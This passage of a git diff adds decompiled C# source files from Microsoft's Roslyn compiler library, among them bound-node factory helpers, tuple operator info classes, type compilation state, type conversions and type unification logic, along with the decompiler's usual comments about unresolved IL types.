SpecialType((SpecialType)13)) + { + WasCompilerGenerated = true + }; + } + + public BoundExpression MethodInfo(MethodSymbol method) + { + if (!method.ContainingType.IsValueType || !CodeGenerator.MayUseCallForStructMethod(method)) + { + method = method.GetConstructedLeastOverriddenMethod(CompilationState.Type, requireSameReturnType: true); + } + return new BoundMethodInfo(Syntax, method, GetMethodFromHandleMethod(method.ContainingType), WellKnownType((WellKnownType)64)) + { + WasCompilerGenerated = true + }; + } + + public BoundExpression FieldInfo(FieldSymbol field) + { + return new BoundFieldInfo(Syntax, field, GetFieldFromHandleMethod(field.ContainingType), WellKnownType((WellKnownType)67)) + { + WasCompilerGenerated = true + }; + } + + private MethodSymbol GetMethodFromHandleMethod(NamedTypeSymbol methodContainer) + { + return WellKnownMethod((WellKnownMember)((methodContainer.AllTypeArgumentCount() == 0 && !methodContainer.IsAnonymousType) ? 47 : 48)); + } + + private MethodSymbol GetFieldFromHandleMethod(NamedTypeSymbol fieldContainer) + { + return WellKnownMethod((WellKnownMember)((fieldContainer.AllTypeArgumentCount() == 0) ? 52 : 53)); + } + + public BoundExpression Convert(TypeSymbol type, BoundExpression arg) + { + //IL_0011: Unknown result type (might be due to invalid IL or missing references) + //IL_0016: Unknown result type (might be due to invalid IL or missing references) + if (TypeSymbol.Equals(type, arg.Type, (TypeCompareKind)0)) + { + return arg; + } + CompoundUseSiteInfo useSiteInfo = CompoundUseSiteInfo.Discarded; + Conversion conversion = Compilation.Conversions.ClassifyConversionFromExpression(arg, type, isChecked: false, ref useSiteInfo); + return Convert(type, arg, conversion); + } + + public BoundExpression Convert(TypeSymbol type, BoundExpression arg, Conversion conversion, bool isChecked = false) + { + if ((object)conversion.Method != null && !TypeSymbol.Equals(conversion.Method.Parameters[0].Type, arg.Type, (TypeCompareKind)0)) + { + arg = Convert(conversion.Method.Parameters[0].Type, arg); + } + if (conversion.Kind == ConversionKind.ImplicitReference && arg.IsLiteralNull()) + { + return Null(type); + } + if (conversion.Kind == ConversionKind.ExplicitNullable && arg.Type.IsNullableType() && arg.Type.GetNullableUnderlyingType().Equals(type, (TypeCompareKind)63)) + { + return Call(arg, SpecialMethod((SpecialMember)115).AsMember((NamedTypeSymbol)arg.Type)); + } + return new BoundConversion(Syntax, arg, conversion, isChecked, explicitCastInCode: true, null, null, type) + { + WasCompilerGenerated = true + }; + } + + public BoundExpression ArrayOrEmpty(TypeSymbol elementType, BoundExpression[] elements) + { + return ArrayOrEmpty(elementType, ImmutableArrayExtensions.AsImmutable(elements)); + } + + public BoundExpression ArrayOrEmpty(TypeSymbol elementType, ImmutableArray elements) + { + if (elements.Length == 0) + { + MethodSymbol methodSymbol = WellKnownMethod((WellKnownMember)4, isOptional: true); + if ((object)methodSymbol != null) + { + methodSymbol = methodSymbol.Construct(ImmutableArray.Create(elementType)); + return Call(null, methodSymbol); + } + } + return Array(elementType, elements); + } + + public BoundExpression Array(TypeSymbol elementType, ImmutableArray elements) + { + return new BoundArrayCreation(Syntax, ImmutableArray.Create((BoundExpression)Literal(elements.Length)), new BoundArrayInitialization(Syntax, isInferred: false, elements) + { + WasCompilerGenerated = true + }, Compilation.CreateArrayTypeSymbol(elementType)); + } + + public BoundExpression Array(TypeSymbol elementType, BoundExpression length) + { + return new BoundArrayCreation(Syntax, ImmutableArray.Create(length), null, Compilation.CreateArrayTypeSymbol(elementType)) + { + WasCompilerGenerated = true + }; + } + + internal BoundExpression Default(TypeSymbol type) + { + return Default(type, Syntax); + } + + internal static BoundExpression Default(TypeSymbol type, SyntaxNode syntax) + { + return new BoundDefaultExpression(syntax, type) + { + WasCompilerGenerated = true + }; + } + + internal BoundStatement Try(BoundBlock tryBlock, ImmutableArray catchBlocks, BoundBlock? finallyBlock = null, LabelSymbol? finallyLabel = null) + { + return new BoundTryStatement(Syntax, tryBlock, catchBlocks, finallyBlock, finallyLabel) + { + WasCompilerGenerated = true + }; + } + + internal ImmutableArray CatchBlocks(params BoundCatchBlock[] catchBlocks) + { + return ImmutableArrayExtensions.AsImmutableOrNull(catchBlocks); + } + + internal BoundCatchBlock Catch(LocalSymbol local, BoundBlock block) + { + BoundLocal boundLocal = Local(local); + return new BoundCatchBlock(Syntax, ImmutableArray.Create(local), boundLocal, boundLocal.Type, null, null, block, isSynthesizedAsyncCatchAll: false); + } + + internal BoundCatchBlock Catch(BoundExpression source, BoundBlock block) + { + return new BoundCatchBlock(Syntax, ImmutableArray.Empty, source, source.Type, null, null, block, isSynthesizedAsyncCatchAll: false); + } + + internal BoundTryStatement Fault(BoundBlock tryBlock, BoundBlock faultBlock) + { + return new BoundTryStatement(Syntax, tryBlock, ImmutableArray.Empty, faultBlock, null, preferFaultHandler: true); + } + + internal BoundExpression NullOrDefault(TypeSymbol typeSymbol) + { + return NullOrDefault(typeSymbol, Syntax); + } + + internal static BoundExpression NullOrDefault(TypeSymbol typeSymbol, SyntaxNode syntax) + { + if (!typeSymbol.IsReferenceType) + { + return Default(typeSymbol, syntax); + } + return Null(typeSymbol, syntax); + } + + internal BoundExpression Not(BoundExpression expression) + { + return new BoundUnaryOperator(expression.Syntax, UnaryOperatorKind.BoolLogicalNegation, expression, null, null, null, LookupResultKind.Viable, expression.Type); + } + + public BoundLocal StoreToTemp(BoundExpression argument, out BoundAssignmentOperator store, RefKind refKind = (RefKind)0, SynthesizedLocalKind kind = (SynthesizedLocalKind)(-2), bool isKnownToReferToTempIfReferenceType = false, SyntaxNode? syntaxOpt = null) + { + //IL_0007: Unknown result type (might be due to invalid IL or missing references) + //IL_0025: Expected I4, but got Unknown + //IL_0074: Unknown result type (might be due to invalid IL or missing references) + //IL_0028: Unknown result type (might be due to invalid IL or missing references) + //IL_0047: Unknown result type (might be due to invalid IL or missing references) + //IL_008c: Unknown result type (might be due to invalid IL or missing references) + //IL_00a0: Unknown result type (might be due to invalid IL or missing references) + //IL_00a2: Invalid comparison between Unknown and I4 + //IL_007c: Unknown result type (might be due to invalid IL or missing references) + //IL_0043: Unknown result type (might be due to invalid IL or missing references) + MethodSymbol currentFunction = CurrentFunction; + switch ((int)refKind) + { + case 2: + refKind = (RefKind)1; + break; + case 3: + if (!Binder.HasHome(argument, Binder.AddressKind.ReadOnly, currentFunction, Compilation.IsPeVerifyCompatEnabled, null)) + { + refKind = (RefKind)0; + } + break; + default: + throw ExceptionUtilities.UnexpectedValue((object)refKind); + case 0: + case 1: + case 5: + break; + } + SyntaxNode syntax = argument.Syntax; + TypeSymbol type = argument.Type; + BoundLocal boundLocal = new BoundLocal(syntax, new SynthesizedLocal(currentFunction, TypeWithAnnotations.Create(type), kind, syntaxOpt ?? (SynthesizedLocalKindExtensions.IsLongLived(kind) ? syntax : null), isPinned: false, isKnownToReferToTempIfReferenceType, refKind), null, type); + store = new BoundAssignmentOperator(syntax, boundLocal, argument, type, (int)refKind > 0); + return boundLocal; + } + + internal BoundStatement NoOp(NoOpStatementFlavor noOpStatementFlavor) + { + return new BoundNoOpStatement(Syntax, noOpStatementFlavor); + } + + internal BoundLocal MakeTempForDiscard(BoundDiscardExpression node, ArrayBuilder temps) + { + LocalSymbol temp; + BoundLocal result = MakeTempForDiscard(node, out temp); + temps.Add(temp); + return result; + } + + internal BoundLocal MakeTempForDiscard(BoundDiscardExpression node, out LocalSymbol temp) + { + temp = new SynthesizedLocal(CurrentFunction, TypeWithAnnotations.Create(node.Type), (SynthesizedLocalKind)(-2), null, isPinned: false, isKnownToReferToTempIfReferenceType: false, (RefKind)0); + return new BoundLocal(node.Syntax, temp, null, node.Type) + { + WasCompilerGenerated = true + }; + } + + internal ImmutableArray MakeTempsForDiscardArguments(ImmutableArray arguments, ArrayBuilder builder) + { + if (arguments.Any((BoundExpression a) => a.Kind == BoundKind.DiscardExpression)) + { + arguments = ImmutableArrayExtensions.SelectAsArray), BoundExpression>(arguments, (Func), BoundExpression>)((BoundExpression arg, (SyntheticBoundNodeFactory factory, ArrayBuilder builder) t) => (arg.Kind != BoundKind.DiscardExpression) ? arg : t.factory.MakeTempForDiscard((BoundDiscardExpression)arg, t.builder)), (this, builder)); + } + return arguments; + } + + internal BoundExpression MakeNullCheck(SyntaxNode syntax, BoundExpression rewrittenExpr, BinaryOperatorKind operatorKind) + { + //IL_007e: Unknown result type (might be due to invalid IL or missing references) + //IL_0085: Invalid comparison between Unknown and I4 + TypeSymbol type = rewrittenExpr.Type; + TypeSymbol specialType = Compilation.GetSpecialType((SpecialType)7); + if (rewrittenExpr.ConstantValueOpt != (ConstantValue)null) + { + switch (operatorKind) + { + case BinaryOperatorKind.Equal: + return Literal(ConstantValue.Create((object)rewrittenExpr.ConstantValueOpt.IsNull, (ConstantValueTypeDiscriminator)13), specialType); + case BinaryOperatorKind.NotEqual: + return Literal(ConstantValue.Create((object)rewrittenExpr.ConstantValueOpt.IsNull, (ConstantValueTypeDiscriminator)13), specialType); + } + } + TypeSymbol type2 = SpecialType((SpecialType)1); + if ((object)type != null) + { + if ((int)type.Kind == 17) + { + rewrittenExpr = Convert(type2, rewrittenExpr, Conversion.Boxing); + } + else if (type.IsNullableType()) + { + operatorKind |= BinaryOperatorKind.NullableNull; + } + } + if (operatorKind == BinaryOperatorKind.NullableNullEqual || operatorKind == BinaryOperatorKind.NullableNullNotEqual) + { + return RewriteNullableNullEquality(syntax, operatorKind, rewrittenExpr, Literal(ConstantValue.Null, type2), specialType); + } + return Binary(operatorKind, specialType, rewrittenExpr, Null(type2)); + } + + internal BoundExpression MakeNullableHasValue(SyntaxNode syntax, BoundExpression expression) + { + return BoundCall.Synthesized(syntax, expression, (ThreeState)0, LocalRewriter.UnsafeGetNullableMethod(syntax, expression.Type, (SpecialMember)116, Compilation, Diagnostics)); + } + + internal BoundExpression RewriteNullableNullEquality(SyntaxNode syntax, BinaryOperatorKind kind, BoundExpression loweredLeft, BoundExpression loweredRight, TypeSymbol returnType) + { + BoundExpression boundExpression = (loweredRight.IsLiteralNull() ? loweredLeft : loweredRight); + if (LocalRewriter.NullableNeverHasValue(boundExpression)) + { + return Literal(kind == BinaryOperatorKind.NullableNullEqual); + } + BoundExpression boundExpression2 = LocalRewriter.NullableAlwaysHasValue(boundExpression); + if (boundExpression2 != null) + { + return new BoundSequence(syntax, ImmutableArray.Empty, ImmutableArray.Create(boundExpression2), Literal(kind == BinaryOperatorKind.NullableNullNotEqual), returnType); + } + if (boundExpression is BoundLoweredConditionalAccess boundLoweredConditionalAccess && (boundLoweredConditionalAccess.WhenNullOpt == null || boundLoweredConditionalAccess.WhenNullOpt.IsDefaultValue())) + { + BoundExpression boundExpression3 = RewriteNullableNullEquality(syntax, kind, boundLoweredConditionalAccess.WhenNotNull, loweredLeft.IsLiteralNull() ? loweredLeft : loweredRight, returnType); + BoundLiteral whenNullOpt = ((kind == BinaryOperatorKind.NullableNullEqual) ? Literal(value: true) : null); + return boundLoweredConditionalAccess.Update(boundLoweredConditionalAccess.Receiver, boundLoweredConditionalAccess.HasValueMethodOpt, boundExpression3, whenNullOpt, boundLoweredConditionalAccess.Id, boundLoweredConditionalAccess.ForceCopyOfNullableValueType, boundExpression3.Type); + } + BoundExpression boundExpression4 = MakeNullableHasValue(syntax, boundExpression); + if (kind != BinaryOperatorKind.NullableNullNotEqual) + { + return new BoundUnaryOperator(syntax, UnaryOperatorKind.BoolLogicalNegation, boundExpression4, null, null, null, LookupResultKind.Viable, returnType); + } + return boundExpression4; + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp/TupleBinaryOperatorInfo.cs b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp/TupleBinaryOperatorInfo.cs new file mode 100644 index 0000000..db23f07 --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp/TupleBinaryOperatorInfo.cs @@ -0,0 +1,80 @@ +using System.Collections.Immutable; +using Microsoft.CodeAnalysis.CSharp.Symbols; + +namespace Microsoft.CodeAnalysis.CSharp; + +internal abstract class TupleBinaryOperatorInfo +{ + internal class Single : TupleBinaryOperatorInfo + { + internal readonly BinaryOperatorKind Kind; + + internal readonly MethodSymbol? MethodSymbolOpt; + + internal readonly TypeSymbol? ConstrainedToTypeOpt; + + internal readonly BoundValuePlaceholder? ConversionForBoolPlaceholder; + + internal readonly BoundExpression? ConversionForBool; + + internal readonly UnaryOperatorSignature BoolOperator; + + internal override TupleBinaryOperatorInfoKind InfoKind => TupleBinaryOperatorInfoKind.Single; + + internal Single(TypeSymbol? leftConvertedTypeOpt, TypeSymbol? rightConvertedTypeOpt, BinaryOperatorKind kind, MethodSymbol? methodSymbolOpt, TypeSymbol? constrainedToTypeOpt, BoundValuePlaceholder? conversionForBoolPlaceholder, BoundExpression? conversionForBool, UnaryOperatorSignature boolOperator) + : base(leftConvertedTypeOpt, rightConvertedTypeOpt) + { + Kind = kind; + MethodSymbolOpt = methodSymbolOpt; + ConstrainedToTypeOpt = constrainedToTypeOpt; + ConversionForBoolPlaceholder = conversionForBoolPlaceholder; + ConversionForBool = conversionForBool; + BoolOperator = boolOperator; + } + + public override string ToString() + { + return $"binaryOperatorKind: {Kind}"; + } + } + + internal class Multiple : TupleBinaryOperatorInfo + { + internal readonly ImmutableArray Operators; + + internal static readonly Multiple ErrorInstance = new Multiple(ImmutableArray.Empty, null, null); + + internal override TupleBinaryOperatorInfoKind InfoKind => TupleBinaryOperatorInfoKind.Multiple; + + internal Multiple(ImmutableArray operators, TypeSymbol? leftConvertedTypeOpt, TypeSymbol? rightConvertedTypeOpt) + : base(leftConvertedTypeOpt, rightConvertedTypeOpt) + { + Operators = operators; + } + } + + internal class NullNull : TupleBinaryOperatorInfo + { + internal readonly BinaryOperatorKind Kind; + + internal override TupleBinaryOperatorInfoKind InfoKind => TupleBinaryOperatorInfoKind.NullNull; + + internal NullNull(BinaryOperatorKind kind) + : base(null, null) + { + Kind = kind; + } + } + + internal readonly TypeSymbol? LeftConvertedTypeOpt; + + internal readonly TypeSymbol? RightConvertedTypeOpt; + + internal abstract TupleBinaryOperatorInfoKind InfoKind { get; } + + private TupleBinaryOperatorInfo(TypeSymbol? leftConvertedTypeOpt, TypeSymbol? rightConvertedTypeOpt) + { + LeftConvertedTypeOpt = leftConvertedTypeOpt; + RightConvertedTypeOpt = rightConvertedTypeOpt; + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp/TupleBinaryOperatorInfoKind.cs b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp/TupleBinaryOperatorInfoKind.cs new file mode 100644 index 0000000..3ed2abf --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp/TupleBinaryOperatorInfoKind.cs @@ -0,0 +1,8 @@ +namespace Microsoft.CodeAnalysis.CSharp; + +internal enum TupleBinaryOperatorInfoKind +{ + Single, + NullNull, + Multiple +} diff --git a/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp/TypeCompilationState.cs b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp/TypeCompilationState.cs new file mode 100644 index 0000000..4e2070d --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp/TypeCompilationState.cs @@ -0,0 +1,154 @@ +using System.Collections.Generic; +using System.Diagnostics.CodeAnalysis; +using Microsoft.CodeAnalysis.CSharp.Emit; +using Microsoft.CodeAnalysis.CSharp.Symbols; +using Microsoft.CodeAnalysis.PooledObjects; +using Roslyn.Utilities; + +namespace Microsoft.CodeAnalysis.CSharp; + +internal sealed class TypeCompilationState +{ + internal readonly struct MethodWithBody + { + public readonly MethodSymbol Method; + + public readonly BoundStatement Body; + + public readonly ImportChain? ImportChain; + + internal MethodWithBody(MethodSymbol method, BoundStatement body, ImportChain? importChain) + { + Method = method; + Body = body; + ImportChain = importChain; + } + } + + private ArrayBuilder? _synthesizedMethods; + + private Dictionary? _wrappers; + + private readonly NamedTypeSymbol? _typeOpt; + + public readonly PEModuleBuilder? ModuleBuilderOpt; + + public ImportChain? CurrentImportChain; + + public readonly CSharpCompilation Compilation; + + public SynthesizedClosureEnvironment? StaticLambdaFrame; + + public DelegateCacheContainer? ConcreteDelegateCacheContainer; + + private SmallDictionary? _constructorInitializers; + + public NamedTypeSymbol Type => _typeOpt; + + public NamedTypeSymbol? DynamicOperationContextType => ModuleBuilderOpt?.GetDynamicOperationContextType(Type); + + [MemberNotNullWhen(true, "ModuleBuilderOpt")] + public bool Emitting + { + [MemberNotNullWhen(true, "ModuleBuilderOpt")] + get + { + return ModuleBuilderOpt != null; + } + } + + public ArrayBuilder? SynthesizedMethods + { + get + { + return _synthesizedMethods; + } + set + { + _synthesizedMethods = value; + } + } + + public int NextWrapperMethodIndex + { + get + { + if (_wrappers != null) + { + return _wrappers.Count; + } + return 0; + } + } + + public TypeCompilationState(NamedTypeSymbol? typeOpt, CSharpCompilation compilation, PEModuleBuilder? moduleBuilderOpt) + { + Compilation = compilation; + _typeOpt = typeOpt; + ModuleBuilderOpt = moduleBuilderOpt; + } + + public void AddSynthesizedMethod(MethodSymbol method, BoundStatement body) + { + if (_synthesizedMethods == null) + { + _synthesizedMethods = ArrayBuilder.GetInstance(); + } + _synthesizedMethods.Add(new MethodWithBody(method, body, CurrentImportChain)); + } + + public void AddMethodWrapper(MethodSymbol method, MethodSymbol wrapper, BoundStatement body) + { + AddSynthesizedMethod(wrapper, body); + if (_wrappers == null) + { + _wrappers = new Dictionary(); + } + _wrappers.Add(method, wrapper); + } + + public MethodSymbol? GetMethodWrapper(MethodSymbol method) + { + MethodSymbol value = null; + if (_wrappers == null || !_wrappers.TryGetValue(method, out value)) + { + return null; + } + return value; + } + + public void Free() + { + if (_synthesizedMethods != null) + { + _synthesizedMethods.Free(); + _synthesizedMethods = null; + } + _wrappers = null; + _constructorInitializers = null; + } + + internal void ReportCtorInitializerCycles(MethodSymbol method1, MethodSymbol method2, SyntaxNode syntax, BindingDiagnosticBag diagnostics) + { + if (method1 == method2) + { + throw ExceptionUtilities.Unreachable("/_/src/Compilers/CSharp/Portable/Compiler/TypeCompilationState.cs", 212); + } + if (_constructorInitializers == null) + { + _constructorInitializers = new SmallDictionary(); + _constructorInitializers.Add(method1, method2); + return; + } + MethodSymbol methodSymbol = method2; + while (_constructorInitializers.TryGetValue(methodSymbol, ref methodSymbol)) + { + if (method1 == methodSymbol) + { + diagnostics.Add(ErrorCode.ERR_IndirectRecursiveConstructorCall, syntax.Location, method1); + return; + } + } + _constructorInitializers.Add(method1, method2); + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp/TypeConversions.cs b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp/TypeConversions.cs new file mode 100644 index 0000000..6093839 --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp/TypeConversions.cs @@ -0,0 +1,58 @@ +using Microsoft.CodeAnalysis.CSharp.Symbols; +using Roslyn.Utilities; + +namespace Microsoft.CodeAnalysis.CSharp; + +internal sealed class TypeConversions : ConversionsBase +{ + protected override CSharpCompilation Compilation => null; + + protected override bool IsAttributeArgumentBinding => false; + + protected override bool IsParameterDefaultValueBinding => false; + + public TypeConversions(AssemblySymbol corLibrary, bool includeNullability = false) + : this(corLibrary, 0, includeNullability, null) + { + } + + private TypeConversions(AssemblySymbol corLibrary, int currentRecursionDepth, bool includeNullability, TypeConversions otherNullabilityOpt) + : base(corLibrary, currentRecursionDepth, includeNullability, otherNullabilityOpt) + { + } + + protected override ConversionsBase CreateInstance(int currentRecursionDepth) + { + return new TypeConversions(corLibrary, currentRecursionDepth, IncludeNullability, null); + } + + protected override ConversionsBase WithNullabilityCore(bool includeNullability) + { + return new TypeConversions(corLibrary, currentRecursionDepth, includeNullability, this); + } + + public override Conversion GetMethodGroupDelegateConversion(BoundMethodGroup source, TypeSymbol destination, ref CompoundUseSiteInfo useSiteInfo) + { + throw ExceptionUtilities.Unreachable("/_/src/Compilers/CSharp/Portable/Binder/Semantics/Conversions/TypeConversions.cs", 39); + } + + public override Conversion GetMethodGroupFunctionPointerConversion(BoundMethodGroup source, FunctionPointerTypeSymbol destination, ref CompoundUseSiteInfo useSiteInfo) + { + throw ExceptionUtilities.Unreachable("/_/src/Compilers/CSharp/Portable/Binder/Semantics/Conversions/TypeConversions.cs", 45); + } + + public override Conversion GetStackAllocConversion(BoundStackAllocArrayCreation sourceExpression, TypeSymbol destination, ref CompoundUseSiteInfo useSiteInfo) + { + throw ExceptionUtilities.Unreachable("/_/src/Compilers/CSharp/Portable/Binder/Semantics/Conversions/TypeConversions.cs", 51); + } + + protected override Conversion GetInterpolatedStringConversion(BoundExpression source, TypeSymbol destination, ref CompoundUseSiteInfo useSiteInfo) + { + throw ExceptionUtilities.Unreachable("/_/src/Compilers/CSharp/Portable/Binder/Semantics/Conversions/TypeConversions.cs", 57); + } + + protected override Conversion GetCollectionExpressionConversion(BoundUnconvertedCollectionExpression source, TypeSymbol destination, ref CompoundUseSiteInfo useSiteInfo) + { + throw ExceptionUtilities.Unreachable("/_/src/Compilers/CSharp/Portable/Binder/Semantics/Conversions/TypeConversions.cs", 63); + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp/TypeUnification.cs b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp/TypeUnification.cs new file mode 100644 index 0000000..daf0550 --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp/TypeUnification.cs @@ -0,0 +1,247 @@ +using System.Collections.Immutable; +using System.Linq; +using Microsoft.CodeAnalysis.CSharp.Symbols; + +namespace Microsoft.CodeAnalysis.CSharp; + +internal static class TypeUnification +{ + public static bool CanUnify(TypeSymbol t1, TypeSymbol t2) + { + if (TypeSymbol.Equals(t1, t2, (TypeCompareKind)62)) + { + return true; + } + MutableTypeMap substitution = null; + return CanUnifyHelper(t1, t2, ref substitution); + } + + private static bool CanUnifyHelper(TypeSymbol t1, TypeSymbol t2, ref MutableTypeMap? substitution) + { + return CanUnifyHelper(TypeWithAnnotations.Create(t1), TypeWithAnnotations.Create(t2), ref substitution); + } + + private static bool CanUnifyHelper(TypeWithAnnotations t1, TypeWithAnnotations t2, ref MutableTypeMap? substitution) + { + //IL_008d: Unknown result type (might be due to invalid IL or missing references) + //IL_0092: Unknown result type (might be due to invalid IL or missing references) + //IL_0093: Unknown result type (might be due to invalid IL or missing references) + //IL_0095: Invalid comparison between Unknown and I4 + //IL_00a7: Unknown result type (might be due to invalid IL or missing references) + //IL_00aa: Invalid comparison between Unknown and I4 + //IL_0097: Unknown result type (might be due to invalid IL or missing references) + //IL_0099: Invalid comparison between Unknown and I4 + //IL_0176: Unknown result type (might be due to invalid IL or missing references) + //IL_017d: Unknown result type (might be due to invalid IL or missing references) + //IL_00af: Unknown result type (might be due to invalid IL or missing references) + //IL_00b2: Invalid comparison between Unknown and I4 + //IL_00c3: Unknown result type (might be due to invalid IL or missing references) + //IL_00ca: Unknown result type (might be due to invalid IL or missing references) + //IL_009b: Unknown result type (might be due to invalid IL or missing references) + //IL_009d: Invalid comparison between Unknown and I4 + //IL_0123: Unknown result type (might be due to invalid IL or missing references) + //IL_012a: Unknown result type (might be due to invalid IL or missing references) + //IL_00b4: Unknown result type (might be due to invalid IL or missing references) + //IL_00b7: Invalid comparison between Unknown and I4 + if (!t1.HasType || !t2.HasType) + { + return t1.IsSameAs(t2); + } + if (substitution != null) + { + t1 = t1.SubstituteType(substitution); + t2 = t2.SubstituteType(substitution); + } + if (TypeSymbol.Equals(t1.Type, t2.Type, (TypeCompareKind)62) && t1.CustomModifiers.SequenceEqual(t2.CustomModifiers)) + { + return true; + } + if (!t1.Type.IsTypeParameter() && t2.Type.IsTypeParameter()) + { + TypeWithAnnotations typeWithAnnotations = t1; + t1 = t2; + t2 = typeWithAnnotations; + } + SymbolKind kind = t1.Type.Kind; + if ((int)kind <= 4) + { + if ((int)kind == 1) + { + if (t2.TypeKind != t1.TypeKind || !t2.CustomModifiers.SequenceEqual(t1.CustomModifiers)) + { + return false; + } + ArrayTypeSymbol arrayTypeSymbol = (ArrayTypeSymbol)t1.Type; + ArrayTypeSymbol arrayTypeSymbol2 = (ArrayTypeSymbol)t2.Type; + if (!arrayTypeSymbol.HasSameShapeAs(arrayTypeSymbol2)) + { + return false; + } + return CanUnifyHelper(arrayTypeSymbol.ElementTypeWithAnnotations, arrayTypeSymbol2.ElementTypeWithAnnotations, ref substitution); + } + if ((int)kind == 4) + { + goto IL_0174; + } + } + else + { + if ((int)kind == 11) + { + goto IL_0174; + } + if ((int)kind == 14) + { + if (t2.TypeKind != t1.TypeKind || !t2.CustomModifiers.SequenceEqual(t1.CustomModifiers)) + { + return false; + } + PointerTypeSymbol obj = (PointerTypeSymbol)t1.Type; + return CanUnifyHelper(t2: ((PointerTypeSymbol)t2.Type).PointedAtTypeWithAnnotations, t1: obj.PointedAtTypeWithAnnotations, substitution: ref substitution); + } + if ((int)kind == 17) + { + if (t2.Type.IsPointerOrFunctionPointer() || t2.IsVoidType()) + { + return false; + } + TypeParameterSymbol typeParameterSymbol = (TypeParameterSymbol)t1.Type; + if (Contains(t2.Type, typeParameterSymbol)) + { + return false; + } + if (t1.CustomModifiers.IsDefaultOrEmpty) + { + AddSubstitution(ref substitution, typeParameterSymbol, t2); + return true; + } + if (t1.CustomModifiers.SequenceEqual(t2.CustomModifiers)) + { + AddSubstitution(ref substitution, typeParameterSymbol, TypeWithAnnotations.Create(t2.Type)); + return true; + } + if (t1.CustomModifiers.Length < t2.CustomModifiers.Length && t1.CustomModifiers.SequenceEqual(t2.CustomModifiers.Take(t1.CustomModifiers.Length))) + { + AddSubstitution(ref substitution, typeParameterSymbol, TypeWithAnnotations.Create(t2.Type, NullableAnnotation.Oblivious, ImmutableArray.Create(t2.CustomModifiers, t1.CustomModifiers.Length, t2.CustomModifiers.Length - t1.CustomModifiers.Length))); + return true; + } + if (t2.Type.IsTypeParameter()) + { + TypeParameterSymbol tp = (TypeParameterSymbol)t2.Type; + if (t2.CustomModifiers.IsDefaultOrEmpty) + { + AddSubstitution(ref substitution, tp, t1); + return true; + } + if (t2.CustomModifiers.Length < t1.CustomModifiers.Length && t2.CustomModifiers.SequenceEqual(t1.CustomModifiers.Take(t2.CustomModifiers.Length))) + { + AddSubstitution(ref substitution, tp, TypeWithAnnotations.Create(t1.Type, NullableAnnotation.Oblivious, ImmutableArray.Create(t1.CustomModifiers, t2.CustomModifiers.Length, t1.CustomModifiers.Length - t2.CustomModifiers.Length))); + return true; + } + } + return false; + } + } + return false; + IL_0174: + if (t2.TypeKind != t1.TypeKind || !t2.CustomModifiers.SequenceEqual(t1.CustomModifiers)) + { + return false; + } + NamedTypeSymbol namedTypeSymbol = (NamedTypeSymbol)t1.Type; + NamedTypeSymbol namedTypeSymbol2 = (NamedTypeSymbol)t2.Type; + if (!namedTypeSymbol.IsGenericType || !namedTypeSymbol2.IsGenericType) + { + return false; + } + int arity = namedTypeSymbol.Arity; + if (namedTypeSymbol2.Arity != arity || !TypeSymbol.Equals(namedTypeSymbol2.OriginalDefinition, namedTypeSymbol.OriginalDefinition, (TypeCompareKind)0)) + { + return false; + } + ImmutableArray typeArgumentsWithAnnotationsNoUseSiteDiagnostics = namedTypeSymbol.TypeArgumentsWithAnnotationsNoUseSiteDiagnostics; + ImmutableArray typeArgumentsWithAnnotationsNoUseSiteDiagnostics2 = namedTypeSymbol2.TypeArgumentsWithAnnotationsNoUseSiteDiagnostics; + for (int i = 0; i < arity; i++) + { + if (!CanUnifyHelper(typeArgumentsWithAnnotationsNoUseSiteDiagnostics[i], typeArgumentsWithAnnotationsNoUseSiteDiagnostics2[i], ref substitution)) + { + return false; + } + } + if ((object)namedTypeSymbol.ContainingType != null) + { + return CanUnifyHelper(namedTypeSymbol.ContainingType, namedTypeSymbol2.ContainingType, ref substitution); + } + return true; + } + + private static void AddSubstitution(ref MutableTypeMap? substitution, TypeParameterSymbol tp1, TypeWithAnnotations t2) + { + if (substitution == null) + { + substitution = new MutableTypeMap(); + } + substitution.Add(tp1, t2); + } + + private static bool Contains(TypeSymbol type, TypeParameterSymbol typeParam) + { + //IL_0001: Unknown result type (might be due to invalid IL or missing references) + //IL_0006: Unknown result type (might be due to invalid IL or missing references) + //IL_0007: Unknown result type (might be due to invalid IL or missing references) + //IL_0009: Invalid comparison between Unknown and I4 + //IL_0018: Unknown result type (might be due to invalid IL or missing references) + //IL_001b: Invalid comparison between Unknown and I4 + //IL_000b: Unknown result type (might be due to invalid IL or missing references) + //IL_000d: Invalid comparison between Unknown and I4 + //IL_001d: Unknown result type (might be due to invalid IL or missing references) + //IL_0020: Invalid comparison between Unknown and I4 + //IL_000f: Unknown result type (might be due to invalid IL or missing references) + //IL_0011: Invalid comparison between Unknown and I4 + //IL_0022: Unknown result type (might be due to invalid IL or missing references) + //IL_0025: Invalid comparison between Unknown and I4 + SymbolKind kind = type.Kind; + if ((int)kind <= 4) + { + if ((int)kind == 1) + { + return Contains(((ArrayTypeSymbol)type).ElementType, typeParam); + } + if ((int)kind == 4) + { + goto IL_0053; + } + } + else + { + if ((int)kind == 11) + { + goto IL_0053; + } + if ((int)kind == 14) + { + return Contains(((PointerTypeSymbol)type).PointedAtType, typeParam); + } + if ((int)kind == 17) + { + return TypeSymbol.Equals(type, typeParam, (TypeCompareKind)0); + } + 